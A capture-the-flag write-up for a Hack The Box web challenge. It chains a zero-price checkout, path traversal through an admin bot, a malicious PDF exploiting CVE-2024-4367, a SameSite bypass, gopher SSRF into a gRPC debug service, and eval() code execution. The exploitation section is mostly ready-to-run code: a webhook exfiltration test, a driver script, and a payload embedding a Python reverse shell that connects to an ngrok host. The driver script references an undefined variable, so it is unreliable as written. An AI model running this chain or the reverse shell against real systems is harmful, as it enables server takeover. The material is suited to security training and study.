🚩 HTB - Artificial University
Executive Summary
- OS: Linux
- Key Technique: The website misses input validation at the
priceparameter at the/checkoutendpoint that allow malicious actor to input negative price, therefore bypass thepayment_idcheck at the/checkout/successendpoint and allow him to inject arbitrary directory and perform directory traversal, allowing him to perform SSRF by guiding the admin bot to a malicious pdf file that can execute arbitrary Javascript. From here, he can force the admin bot to make request to other endpoints as the admin, sendinggopher://request to a gRPC service deep inside the system, changing theProductService()object structure and compromise the server through RCE by manipulating the vulnerableprice_formulathat useseval()to evaluate. - Status:
Completed
Reconnaissance
Configurations
Dockerfile
- The flag is in /flag.txt
- The curl version is: 7.70.0 which is vulnerable to CVE-2020-8177 that allows file write using the ‘-J’ flag, if the system uses curl in a way that allow argument injection, this might be a huge hint for us.
- The Firefox version is 125.0.1 which is vulnerable to CVE-2024-4367 that allows arbitrary javascript execution by manipulating the
/FontMatrixtype inside the PDF file. Firefox of this version uses a library called PDF.js that will allow the injected JS to be executed when processing a character uses the fonts.
Entrypoint.sh
- The flag has a random suffix meaning we need to either RCE or do something to retrieve the flag deep inside the system.
Backend API
product.proto
The backend was using gRPC as the medium to perform the server-facing requests, to enumerate it, it’s best to starts at product.proto
syntax = "proto3";
package product;
service ProductService {
rpc GetNewProducts(Empty) returns (Products);
rpc GetSavedProducts(Empty) returns (Products);
rpc MarkProductSaved(Product) returns (Empty);
rpc DebugService(MergeRequest) returns (Empty);
}
message Empty {}
message Product {
string id = 1;
string name = 2;
string description = 3;
double price = 4;
}
message Products {
repeated Product products = 1;
}
message MergeRequest {
map<string, InputValue> input = 1;
}
message InputValue {
string string_value = 1;
double double_value = 2;
InputValue nested_value = 3;
}There is a service that’s look pretty sus that is the debug service. This service takes in a Object called MergeRequest that is practically a dictionary that matches a key with a nother object called InputValue, from this we can deduce that a MergeRequest that the service takes will look something like this:
input {
"some_key": {
string_value: "hello",
double_value: 1.0,
nested_value: {
string_value: "hello2",
double_value: 2.0,
nested_value:
...
}
},
"other_key": {
...
}
...
}api.py
This is the file that defines the actual logic behind each service, while the proto file acts like some sort of modeling and defines the objects of the back-end. the api.py is the actual logic that puts those objects into use.
Inside the file we can immediately see that the GenerateProduct(self) method is calling an eval() function if the ProductService() object has an attributes called price_formula, the original object has no such attribute, if we can somehow find a way to inject the attributes, we can achieve RCE.
class ProductService(product_pb2_grpc.ProductServiceServicer):
#...
def GenerateProduct(self):
# Check if ProductService has attribute price_formula
if hasattr(self, "price_formula"):
price = eval(self.price_formula) # Vulnerable if we can inject price_formula into the object!
product = product_pb2.Product(
id=str(uuid.uuid4()),
name=f"Product {random.randint(1, 100)}",
description="A sample product",
price=price
)
return product
else:
product = product_pb2.Product(
id=str(uuid.uuid4()),
name=f"Product {random.randint(1, 100)}",
description="A sample product",
price=random.uniform(self.min_price, self.max_price)
)
return productThe DebugService that we suspect earlier is a function that used to update the current service with an input object.
def DebugService(self, request, context):
input_dict = {k: v.string_value for k, v in request.input.items()}
self.UpdateService(input_dict, self)
return product_pb2.Empty()Let’s take a look at how the UpdateService() work:
# The source object and the destination object
def UpdateService(self, source, destination):
for key, value in source.items():
if hasattr(destination, "__dict__") and key in destination.__dict__ and isinstance(value, dict):
self.UpdateService(value, destination.__dict__[key])
elif hasattr(destination, "__dict__"):
destination.__dict__[key] = value
elif isinstance(destination, dict) and key in destination and isinstance(value, dict):
self.UpdateService(value, destination[key])
else:
destination[key] = valueThis method uses a deep update algorithm to update the fields inside the service object, the first two conditions is to update the top level fields inside the objects while the later two are the conditions to update the dictionary attributes (if the object has). With this, we can add a new field inside the ProductService through DebugService().
Looking around the api.py file, there is another service related to the GenerateProduct() that is the GetNewProduct(), this method directly call the GenerateProduct() method. Therefore, in order to execute the eval() we need to first update ProductService through DebugService() then we trigger the GenerateProduct() by calling GetNewProduct().
def GetNewProducts(self, request, context):
new_products = []
for i in range(random.randint(0, 3)):
new_products.append(self.GenerateProduct())
return product_pb2.Products(products=new_products)Public Facing Application
Grepping the methods inside the api.py file leads me to other files inside the given app.
grpc_helper.py
This file is the one that connects the gRPC services with the routers
class ProductClient:
def __init__(self, host="127.0.0.1", port=50051):
self.channel = grpc.insecure_channel(f"{host}:{port}")
self.stub = product_pb2_grpc.ProductServiceStub(self.channel)
self.new_products = []
# This is the one that call GetNewProducts to trigger the eval!!!!
def get_new_products(self):
response = self.stub.GetNewProducts(product_pb2.Empty())
return response.products
#...routes.py - /admin/product-stream
Following the trace leads me to the routes.py which defines the routers of the application:
@web.route("/admin/product-stream", methods=["GET"])
def product_stream():
if not session.get("loggedin") or session.get("role") != "admin":
return redirect("/")
client = ProductClient()
new_products = client.get_new_products()
products_dict = [{
"id": product.id,
"name": product.name,
"description": product.description,
"price": product.price
} for product in new_products]
return render_template("admin_product_stream.html", title="Admin panel - Product stream", session=session, products=products_dict)The sending a request to /admin/product-stream with will trigger get_new_products(), however, this endpoint require admin privilege, from enumerating the code base, I come across a bot.py file, therefore I suspect there might be a SSRF vulnerability.
bot.py
As expected there is a bot in the background, login into the system, running the vulnerable Firefox version and send a request to get a pdf file inside on the system. The payment_id was put directly inside the f-string. This open 3 ways of manipulating this:
- Directory traversal: if the bot has admin privilege I can trick it into visit other endpoint by injecting
/../../../../admin/product-streamfor example. - PDF upload: if there is a way I can upload a malicious PDF file on the server, I can guide the admin bot to it.
- Injection: this
invoice_{payment_id}.pdfseems to be something that the application created by itself, if the application does not sanitize or validate user input, I can inject malicious JS script and create the malicious PDF using the application’s logic.
def bot_runner(email, password, payment_id):
firefox_options = Options()
# Running the vulnerable browser
firefox_binary_path = "/opt/firefox/firefox"
geckodriver_path = "/usr/local/bin/geckodriver"
firefox_options.add_argument("--headless")
firefox_options.binary_location = firefox_binary_path
firefox_service = Service(geckodriver_path)
client = webdriver.Firefox(service=firefox_service, options=firefox_options)
try:
client.get("http://127.0.0.1:1337/login")
time.sleep(3)
# Login with unknown credentials
client.find_element(By.ID, "email").send_keys(email)
client.find_element(By.ID, "password").send_keys(password)
client.execute_script("document.getElementById('login-btn').click()")
time.sleep(3)
# Visting a PDF file?
client.get(f"http://127.0.0.1:1337/static/invoices/invoice_{payment_id}.pdf")
time.sleep(10)
finally:
client.quit()routes.py - /checkout/success
Following to check that is calling the bot_runner(), I arrived at the /checkout/success endpoint. The endpoint takes in 2 parameters called order_id and payment_id. The order will be retrieved from the database, and the amount paid will we from the payment_id, if the amt_paid >= order.price, bot_runner() will be called with the payment_id. Notice that the bot is using the admin’s credentials, so it is clear that the bot has admin privilege. Still not sure if I can inject arbitrary payment_id since the amt_paid is tied to a payment_id.
@web.route("/checkout/success", methods=["GET"])
def checkout_success():
# GET /checkout/success?order_id=<input1>&payment_id=<input2>
order_id = request.args.get("order_id")
payment_id = request.args.get("payment_id")
if not order_id:
return render_template("error.html", title="Error", error="Missing parameters"), 401
db_session = Database()
order = db_session.get_order(order_id)
amt_paid = get_amount_paid(payment_id)
if amt_paid >= order.price:
db_session.mark_order_complete(order_id)
else:
return render_template("error.html", title="Error", error="Could not complete order"), 401
# The bot is called and use the admin credentials
bot_runner(current_app.config["ADMIN_EMAIL"], current_app.config["ADMIN_PASS"], payment_id)
return render_template("success.html", title="Order successful", nav=True)payments.py
Following where the get_amount_paid() comes from lead me here.
def generate_payment_link(amt):
# Dummy implementation to generate a payment link
payment_id = str(uuid.uuid4())
payment_link = f"https://dummy-payment-processor.htb/pay?amount={amt}&payment_id={payment_id}"
return payment_link, payment_id
def get_amount_paid(payment_id):
# Dummy implementation to get payment status
return 0The logic is surprisingly simple, just generate a bunch of dummy information, notice how get_amount_paid() will return 0 for any given payment_id, this means the amt_paid in /checkout/success is always 0! This means if we can manipulate order.price (through normal input or SQL injection), we can set it to 0 to input arbitrary payment_id for the bot to run.
database.py
Looking at the database, we can see that it is securely developed, and there is no visible sign of SQLi vulnerability. There is a create_order() method, if this method takes the price attributes from user input, we can create an order with price 0.
# ... orders table that contains the information about the orders
class Orders(Base):
__tablename__ = "orders"
id = Column(Integer, primary_key=True)
user_id = Column(Integer)
user_email = Column(String)
product_id = Column(Integer)
product_title = Column(String)
price = Column(Float)
date_created = Column(DateTime(timezone=True), default=datetime.datetime.utcnow)
completed = Column(Boolean, default=False)
payment_id = Column(String)
class Database:
#...
# Create new order?
def create_order(self, product_title, user_id, user_email, price, payment_id, product_id=1):
new_order = Orders(product_title=product_title, user_id=user_id, user_email=user_email, price=price, payment_id=payment_id, product_id=product_id)
self.session.add(new_order)
self.session.commit()
return new_order.id
# Get the order, used in /checkout/success
def get_order(self, order_id):
orders = self.session.query(Orders).filter(Orders.id == order_id).one()
return orders
#...At the end of the file, there is a logic where it creates new invoice PDF file based on the database’s information. I decide to take a look into the PDF generation logic in the pdf.py file before checking the logic behind create_order().
#... inside the database class
def generate_invoice(self, order_id):
order = self.session.query(Orders).filter(Orders.id == order_id).first()
if not order:
return False
user = self.session.query(Users).filter(Users.id == order.user_id).first()
product = self.session.query(Products).filter(Products.id == order.product_id).first()
if not user or not product:
return False
# Create PDF file based on the database information
pdf = PDFInvoice()
pdf.add_page()
pdf.invoice_body(order, user, product)
pdf_file_path = f"/app/store/application/static/invoices/invoice_{order.payment_id}.pdf"
pdf.output(pdf_file_path)
return pdf_file_pathpdf.py
The information that pdf.py provides is not as useful as expected. Because the file is using library method cell() from FPDF library for invoice PDF creation, this FPDF library version also has no known vulnerability, we cannot inject malicious characters at all in order to break out of the PDF delimiters and inject malicious code, this mean allowing one of the three ways of exploitation we deduced earlier has come to a dead-end.
class PDFInvoice(FPDF):
def header(self):
self.set_font("Arial", "B", 12)
self.cell(0, 10, "Invoice", 0, 1, "C")
def footer(self):
self.set_y(-15)
self.set_font("Arial", "I", 8)
self.cell(0, 10, f"Page {self.page_no()}", 0, 0, "C")
def invoice_body(self, order, user, product):
self.set_font("Arial", "", 12)
self.cell(0, 10, f"Order ID: {order.id}", 0, 1)
self.cell(0, 10, f"Payment ID: {order.payment_id}", 0, 1)
self.cell(0, 10, f"Date: {order.date_created.strftime("%Y-%m-%d")}", 0, 1)
self.cell(0, 10, f"User: {user.email}", 0, 1)
self.cell(0, 10, f"Product: {product.title}", 0, 1)
self.cell(0, 10, f"Price: ${order.price}", 0, 1)
self.cell(0, 10, f"Completed: {"Yes" if order.completed else "No"}", 0, 1)routes.py - /checkout
This is the endpoint that will call for create_order()
This file confirm that a logged in user can make request to this endpoint and input the price if they do not attach a product_id with their request. This allows me to create an order with price equals 0, then I can just track its ID (by increment by 1 every time I create one) and input my arbitrary payment_id to /checkout/success.
@web.route("/checkout", methods=["GET"])
def checkout():
# The product_id
product_id = request.args.get("product_id")
if product_id and not session.get("loggedin"):
return render_template("error.html", title="Error", error="Must have an account in order to purchase"), 200
# user input title, user_id, email and most importantly for exploitation - the price
price = request.args.get("price")
title = request.args.get("title")
user_id = request.args.get("user_id")
email = request.args.get("email")
if not product_id and (not price or not title or not user_id or not email):
return render_template("error.html", title="Error", error="Missing external order details"), 400
db_session = Database()
payment_link = None
# If the product_id was included in the request
if product_id:
product_data = db_session.get_product_data(product_id)
if not product_data:
return render_template("error.html", title="Error", error="Product not found"), 404
payment_link, payment_id = generate_payment_link(product_data.price)
# If the product_id was valid, the order will create a new order with a price that's already defined in the database, which we don't want
order_id = db_session.create_order(product_data.title, session.get("user_id"), session.get("email"), product_data.price, payment_id, product_data.id)
db_session.generate_invoice(order_id)
else:
# If the product_id was not given in the request in the first place, the application blindly takes in the price!
product_data = {
"title": title,
"price": int(price)
}
payment_link, payment_id = generate_payment_link(product_data["price"])
order_id = db_session.create_order(title, user_id, email, int(price), payment_id)
db_session.generate_invoice(order_id)
return redirect(payment_link)Now, let’s review our way of triggering get_new_products():
- Do
GET /checkout?price=0&title=hello&user_id=2&email=hello@gmail.com: this will create an order withorder.id = 1 - Do
GET /checkout/success?order_id=1&payment_id=/../../../../admin/product-stream: this will trigger SSRF by making the admin bot to go to/admin/product-streamendpoint and triggerget_new_products()
curl.py
Even though I’ve found a way to trigger fire button, the task is not done yet, I still need a way to trigger the gRPC’s DebugService.
The thing is, there is no exposed endpoints that interact with this service. Walking through the code base more, we’ll see this curl.pyfile that’s was using a curl version that is vulnerable to arbitrary file write from earlier. However, the command is run using subprocess.run(), it is invulnerable to argument injection, therefore the option of using this curl command to write files is not possible anymore.
def get_url_status_code(url):
# check if the input url is a valid one
if not is_valid_url(url):
raise ValueError("Invalid URL")
# the input url is put inside a prepare statement
curl_args = ["curl", "-o", "/dev/null", "-w", "%{http_code}", url]
try:
# the curl command is put inside subprocess.run with the shell option = false (unspecified)
result = subprocess.run(curl_args, capture_output=True, text=True, check=True)
status_code = int(result.stdout.strip())
return status_code
except subprocess.CalledProcessError as e:
return "Error getting status code"However, this does not mean we’re luck. The URL was not sanitized or validated, meaning there must be a way we can exploit this.
Curl supports the use of gopher which is an ancient protocol that can transfer requests in raw bytes. Meaning we can use gopher to transfer the request of any other schemes (like HTTP, etc.). However, to make use of this, I need to know what the raw bytes of the requests that would be sent to the DebugService() looks like.
gRPC strictly uses HTTP/2 to communicates between endpoints. By default, curl uses HTTP/1.1, if we want to force it to use HTTP/2, we need to add the --http2 or --http2-prior-knowledge flags to the curl command, but as we know, that’s impossible in this case.
I’ll demonstrate how to get the raw bytes of HTTP/2 request here
routes.py - /admin/api-health
This is the endpoint that interact with the curl command. This endpoint takes in an arbitrary url from a POST request and require admin privilege to access. Because the curl command will only be invoked if the request is a POST request, we cannot use the SSRF vulnerability like we did with the get_new_product()anymore as it only works with get GET requests.
@web.route("/admin/api-health", methods=["GET", "POST"])
def api_health():
if not session.get("loggedin") or session.get("role") != "admin":
return redirect("/")
# return early if the request was a GET request
if request.method == "GET":
return render_template("admin_api_health.html", title="Admin panel - API health", session=session)
# takes the url from the POST request
url = request.form.get("url")
if not url:
return render_template("error.html", title="Error", error="Missing URL"), 400
# trigger the curl command
status_code = get_url_status_code(url)
return render_template("admin_api_health.html", title="Admin panel - API health", session=session, status_code=status_code)The URL input was not checked for valid scheme at all, it is just a input URL, as long as it exist, the get_url_status_code() will be called and execute the curl command.
routes.py - /admin/view-pdf
Right above the /admin/api-health endpoint is the view-pdf endpoint that will shows the admin a PDF, this endpoint is strictly using HTTP GET request to trigger, this means we can access through the SSRF vulnerability above.
There is one important detail in this endpoint, that the destination URL must point to a PDF file, however, it does not check if the endpoint is a trusted PDF (originated from the same origin or self-generated) or not. The as_attachment=False prevent the PDF to be downloaded and will show to the admin right on their browser using the vulnerable PDF.js library!
This means we do not need to upload or inject any PDF, we can just host the malicious PDF file on a public IP (provided by ngrok for example) and point URL to our server!
@web.route("/admin/view-pdf", methods=["GET"])
def admin_view_pdf():
if not session.get("loggedin") or session.get("role") != "admin":
return redirect("/")
# GET /admin/view-pdf?url=https://NGROK.dev/malicous.pdf
pdf_url = request.args.get("url")
if not pdf_url:
return render_template("error.html", title="Error", error="Missing PDF URL"), 400
try:
response = requests.get(pdf_url)
response.raise_for_status()
if response.headers["Content-Type"] != "application/pdf":
return render_template("error.html", title="Error", error="URL does not point to a PDF file"), 400
# Show the admin the malicious PDF
pdf_data = BytesIO(response.content)
return send_file(pdf_data, mimetype="application/pdf", as_attachment=False, download_name="document.pdf")
except requests.RequestException as e:
return render_template("error.html", title="Error", error=str(e)), 400Exploitation
Overview
Let’s first review our attack chain:
-
Trigger the gRPC
DebugService()- Create a malicious PDF that create a POST request to
/admin/api-healthand host it on our Ngrok HTTP server - Create a order with price 0 using
GET /checkout?price=0&title=hello&user_id=2&email=hello@gmail.comand create an order withorder_id = 1 - Navigate the admin to our PDF with
GET /checkout/success?order_id=1&payment_id=/../../../../admin/view-pdf?url=https://NGROK.dev/malicious.pdf
- Create a malicious PDF that create a POST request to
-
Trigger the gRPC
GenerateNewProducts()and achieve RCE- Create another order with price 0 using
GET /checkout?price=0&title=hello2&user_id=2&email=hello@gmail.comand create an order withorder_id = 2 - Trigger
GenerateNewProducts()by usingGET /checkout/success?order_id=1&payment_id=/../../../../admin/product-stream%23(%23or#is to comment out the.pdfat the end of the URL)
- Create another order with price 0 using
As you can see, there are 2 things that I need to craft:
- The Gopher URL
- The Malicious PDF
Crafting the Gopher URL
Get the raw bytes
I need to get the raw bytes of a request. As I mentioned, there are two ways that we can use
For this to work I download TCPdump onto the docker container, make a request to the DebugService() using the gRPC client defined inside the grpc_helper.py file and download the captured .pcap file into my host machine.
On the host machine run:
# Find where bash is installed on the docker machine
docker exec -it web_artificial_university which bash
/usr/bin/bash
# Spawning a bash shell on the docker machine
docker exec -it web_artificial_university /usr/bin/bash
root@1079fd140cfa:/app/product_api#Now inside the newly spawn bash shell run:
# Download tcpdump
apt-get install tcpdump
# Activate tcpdump listener
tcpdump -i lo port 50051 -w /tmp/capture.pcapNow, TCPdump will be listening for incoming requests to the port 50051 of the docker machine, now, to send request to this endpoint, we need to change a few things inside the code base, at the end of grpc_helper.py we add a new methods that connects to DebugService():
class ProductClient:
def __init__(self, host="127.0.0.1", port=50051):
self.channel = grpc.insecure_channel(f"{host}:{port}")
self.stub = product_pb2_grpc.ProductServiceStub(self.channel)
self.new_products = []
#... other services
def trigger_debug_service(self, payload_string):
request = product_pb2.MergeRequest()
# Inject the price_formula into the input
# Remember the input of the DebugService is defined as `map<string, InputValue> input`
# And `InputValue` is defined as
# message InputValue {
# string string_value = 1;
# double double_value = 2;
# InputValue nested_value = 3;
# }
request.input["price_formula"].string_value = payload_string
# Call the stub
return self.stub.DebugService(request)Inside the routes.py we create a new endpoint called /admin/send-payload
@web.route("/admin/send-payload", methods=["GET"])
def generate_payload():
client = ProductClient()
# The payload we want to test. Let's just give it a random number first.
malicious_cmd = "121212121"
client.trigger_debug_service(malicious_cmd)
return "Payload sent!"Now, by sending a simple GET request to /admin/send-payload, we will be able to capture the requests. We can then stop the tcpdump listener using Ctrl+C and copy the pcap file by running this command on our host machine
docker cp web_artificial_university:/tmp/capture.pcap capture.pcapOpen the file inside Wireshark:

Right click on the request, choose Follow >> TCP Streams to press the combo Ctrl + Alt + Shift + T. Choose the right configuration in the appeared windows like in the below image.

The long string of numbers is the raw bytes of the request.
Craft the Gopher URL
Now we need to find a way to transfer this raw bytes into a gopher request.
Gopher is a simple protocol where its entire request sits inside the URL and it will send its raw bytes to the receiver. This is means the protocol can be used to send requests to other protocol that uses TCP to transfer data, however that protocol should not has an extra layer of encryption like HTTPS (which establish SSL/TLS encryption tunnel before sending any requests).
HTTP/2 should fall into the category where the Gopher should not be able to applied, however, due to the use of grpc.insecure_channel(), the author deliberately strips the encryption part away and allow gPRC services to be accessed with just raw HTTP/2 requests.


This is the blog that talks about gRPC and how it works

Because of this setup, the only thing we need to do is to dump the entire hex string we got earlier to the gopher URL. If you search online for a while, you’ll eventually come across this blog that tells us how to use gopher for SSRF exploits.

So our gopher URL should look something like this:
gopher://127.0.0.1:50051/_<some_URL_encoded_hex>Notes:
- The
_is the first character because in normal gopher format, that first character will indicate the file type of the data that will be transferred, which is not part of the data and will be stripped off later, without it, the first character of the data being sent will be one that will be stripped, which makes the request invalid.- If we’re sending requests of other schemes that are text-based (like HTTP/1.1, Redis, or SMTP) the end of the request should have a CRLF (
%0d%0a) to mark the end of a request/command/header,… however, HTTP/2 this was not needed because the protocol sends aDATAframe together with the request to indicates the number of bytes that the requests contains.
We’ll use python to create this URL for us:
def generate_url(hex_string, host="localhost", port=50051):
# Convert the hex string we got earlier to bytes format
raw_bytes = bytes.fromhex(hex_string)
# URL encode the bytes
url_encoded = urllib.parse.quote(raw_bytes)
# Return the gopher URL
return f"gopher://{host}:{port}/_{url_encoded}"Crafting the malicious PDF
The code for crafting a malicious PDF can be found online, there has been multiple PoC about this CVE of firefox already and for this challenge, I would use this one.
TL;DR
This CVE is caused by a type check failure in PDF.js, which is the library used to process PDF and show it on the browser used by FireFox. By injecting a malicious
/FontMatrix- which is an array of numbers used to scale the size of a font from its Glyph space to the Text space - containing Javascripts, we can inject arbitrary Javascript and allow it to be executed inside a user’s session.
The bash script for this CVE takes in a one liner Javascript code, if you hate to deal with all of the bash quotes and braces escapes (like me) I highly recommend you creating a payload.js file containing your malicious Javascript first then pass it to the PoC using python’s subprocess.
Let’s start of with a simple payload first:
fetch('https://webhook.site/21ce5f35-8910-4df7-9a73-c01c05203214?ping=pong')Create this PDF file, host it on your Ngrok server, open a Firefox instance (make sure to use version 125.0.1), login as admin and visit http://localhost:1337/admin/view-pdf?url=https://<your_ngrok_ip>/<your_malicious_js>.pdf we are able to trigger the code and send request to our webhook:

However, now, to escalate this further, let’s try fetching an internal endpoint:
fetch('http://localhost:1337/admin/api-health')
However, as you can see, the request was not sent with the admin cookie despite Javascript was executed inside the admin’s session. The origin is null, since the origin was not from the same origin site. PDF.js is run from a special origin on Firefox called resource:// (read this blog for more info)

Looking at the Set-Cookie header you’ll receive after login in the website, the SameSite attributes was not specified, meaning it will be default to SameSite=lax.

Note: If you look at the
Storagetab on the Firefox DevTools, the admin cookie is set withSecure=falseandSameSite=none, but actually, browsers does not allow both attributes to be set like this when decide whether a cookie will be sent in a request (it will be too insecure). IfSecure=false, thenSameSitemust belax(and that’s the same in this case where the website is using HTTP)
The two minutes windows
SameSite=lax specifically prevent cookies being sent in cross-site requests that are not top-level requests. Top-level requests are ones caused by:
- Clicking a link in a website → results in a change in the URL on the search bar
- HTML forms.
So to bypass this we can just create inject a HTML forms using JS right? Yes… but also no. SameSite=lax blocks POST top-level requests (and we must access /admin/api-health via POST request for our attack to work). However, if the cookie was not explicitly set with SameSite=lax (which is true in our case), there is a small time window that allows newly created cookie to be attached to top-level cross-site POST requests (sometimes called the Lax-POST mitigation)

So to send the POST request we need to change our JS payload to:
(function() {
if (globalThis.pwned) return;
globalThis.pwned = true;
var gopher_url = "gopher://localhost:50051/_PRI%20%2A%20HTTP/2.0%0D...F5%81%12%16%86%C8%3CR";
var f = document.createElement('form');
f.action = 'http://127.0.0.1:1337/admin/api-health';
f.method = 'POST';
var i = document.createElement('input');
i.name = 'url';
i.value = gopher_url;
f.appendChild(i);
document.body.appendChild(f);
f.submit();
})();PoC
# exploit.py
import requests
import urllib.parse
import os
import time
FLASK_URL = "http://localhost:1337/"
NGROK_PDF_URL = "https://nonsyntactically-postrorse-cyndi.ngrok-free.dev/malicious.pdf"
ATTACKER_EMAIL = "hello@hello.com"
ATTACKER_PASS = "password123"
COUNT_FILE = "count.txt"
# read order_id from count.txt which is a text file contain a number increment by one everytime this function is called.
def get_order_id():
if os.path.exists(COUNT_FILE):
with open(COUNT_FILE, "r") as f:
try:
return int(f.read().strip())
except ValueError:
return 1
return 1
def increment_order_id(oid):
with open(COUNT_FILE, "w") as f:
f.write(str(oid + 1))
if __name__ == "__main__":
session = requests.Session()
# Register and Login
session.post(f"{FLASK_URL}/register", data={"email": ATTACKER_EMAIL, "password": ATTACKER_PASS})
login_req = session.post(f"{FLASK_URL}/login", data={"email": ATTACKER_EMAIL, "password": ATTACKER_PASS})
# 1. Make the bot visit our PDF and make request to DebugService
payload1 = f"/../../../../admin/view-pdf?url={urllib.parse.quote(NGROK_PDF_URL)}#"
order_id = get_order_id()
session.get(f"{FLASK_URL}/checkout", params={
"price": 0,
"title": "hello1",
"user_id": 2,
"email": ATTACKER_EMAIL
}, allow_redirects=False)
session.get(f"{FLASK_URL}/checkout/success", params={
"order_id": order_id,
"payment_id": payload1
})
increment_order_id(order_id)
time.sleep(10)
# 2. Make the bot visit /product-stream and trigger the eval() function
payload2 = "/../../../../admin/product-stream#"
order_id = get_order_id()
session.get(f"{FLASK_URL}/checkout", params={
"price": 0,
"title": "hello2",
"user_id": 2,
"email": ATTACKER_EMAIL
}, allow_redirects=False)
session.get(f"{FLASK_URL}/checkout/success", params={
"order_id": order_id,
"payment_id": detonation_payload
})
increment_order_id(order_id)# build_pdf.py
import subprocess
import os
def build_malicious_pdf():
if not os.path.exists("payload.js"):
print("payload.js not found!")
return
with open("payload.js", "r") as f:
raw_js = f.read()
clean_js = " ".join(raw_js.split())
result = subprocess.run(
["python3", "CVE-2024-4367.py", clean_js],
capture_output=True,
text=True
)
if result.returncode == 0:
print("Injected js:\n" + clean_js)
else:
print("Failed to generate PDF:")
print(result.stderr)
if __name__ == "__main__":
build_malicious_pdf()/*payload.js*/
(function() {
if (globalThis.pwned) return;
globalThis.pwned = true;
var gopher_url = "gopher://localhost:50051/_PRI%20%2A%20HTTP/2.0%0D%0A%0D%0ASM%0D%0A%0D%0A%00%00%24%04%00%00%00%00%00%00%02%00%00%00%00%00%03%00%00%00%00%00%04%00%40%00%00%00%05%00%40%00%00%00%06%00%00%40%00%FE%03%00%00%00%01%00%00%04%08%00%00%00%00%00%00%3F%00%01%00%00%00%04%01%00%00%00%00%00%00%E1%01%04%00%00%00%01%40%05%3Apath%24/product.ProductService/DebugService%40%0A%3Aauthority%0F127.0.0.1%3A50051%83%86%40%0Ccontent-type%10application/grpc%40%02te%08trailers%40%14grpc-accept-encoding%17identity%2C%20deflate%2C%20gzip%40%0Auser-agent0grpc-python/1.80.0%20grpc-c/53.0.0%20%28linux%3B%20chttp2%29%00%00%04%08%00%00%00%00%01%00%00%00%05%00%01%1B%00%01%00%00%00%01%00%00%00%01%16%0A%93%02%0A%0Dprice_formula%12%81%02%0A%FE%01__import__%28%27os%27%29.system%28%27python3%20-c%20%22import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%5C%270.tcp.ap.ngrok.io%5C%27%2C13391%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bpty.spawn%28%5C%27/usr/bin/bash%5C%27%29%22%27%29%20or%201.0%00%00%04%08%00%00%00%00%00%00%00%00%05%00%00%08%06%01%00%00%00%00%27%97X%2C%BD%B2%3C%DB%00%00%08%06%00%00%00%00%00eT%0F%0D%D3%876%C2%00%005%01%04%00%00%00%03%40%05%3Apath%26/product.ProductService/GetNewProducts%C3%83%86%C2%C1%C0%BF%00%00%04%08%00%00%00%00%03%00%00%00%05%00%00%05%00%01%00%00%00%03%00%00%00%00%00%00%00%04%08%00%00%00%00%00%00%00%00%05%00%00%08%06%01%00%00%00%00%F5%81%12%16%86%C8%3CR";
var f = document.createElement('form');
f.action = 'http://127.0.0.1:1337/admin/api-health';
f.method = 'POST';
var i = document.createElement('input');
i.name = 'url';
i.value = gopher_url;
f.appendChild(i);
document.body.appendChild(f);
f.submit();
})();Loot & Flags
Flag: HTB{ol4_t4_ch41n5_ol4_t4_ch41n5_l4mp0un_t4_d15m4nd14_4l1_day}
References: CVE-2024-4367 PoC: https://github.com/LOURC0D3/CVE-2024-4367-PoC/blob/main/CVE-2024-4367.py CVE-2024-4356 Blog: https://codeanlabs.com/2024/05/cve-2024-4367-arbitrary-js-execution-in-pdf-js/ CSRF document from PortSwigger: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/ gRPC Medium blog: https://medium.com/@aman.deep291098/building-apis-using-grpc-738fd6edd1bb Gopher SSRF blog: https://medium.com/@zoningxtr/ultimate-guide-to-gopher-protocol-from-basics-to-real-exploits-ed2fb788d8e0
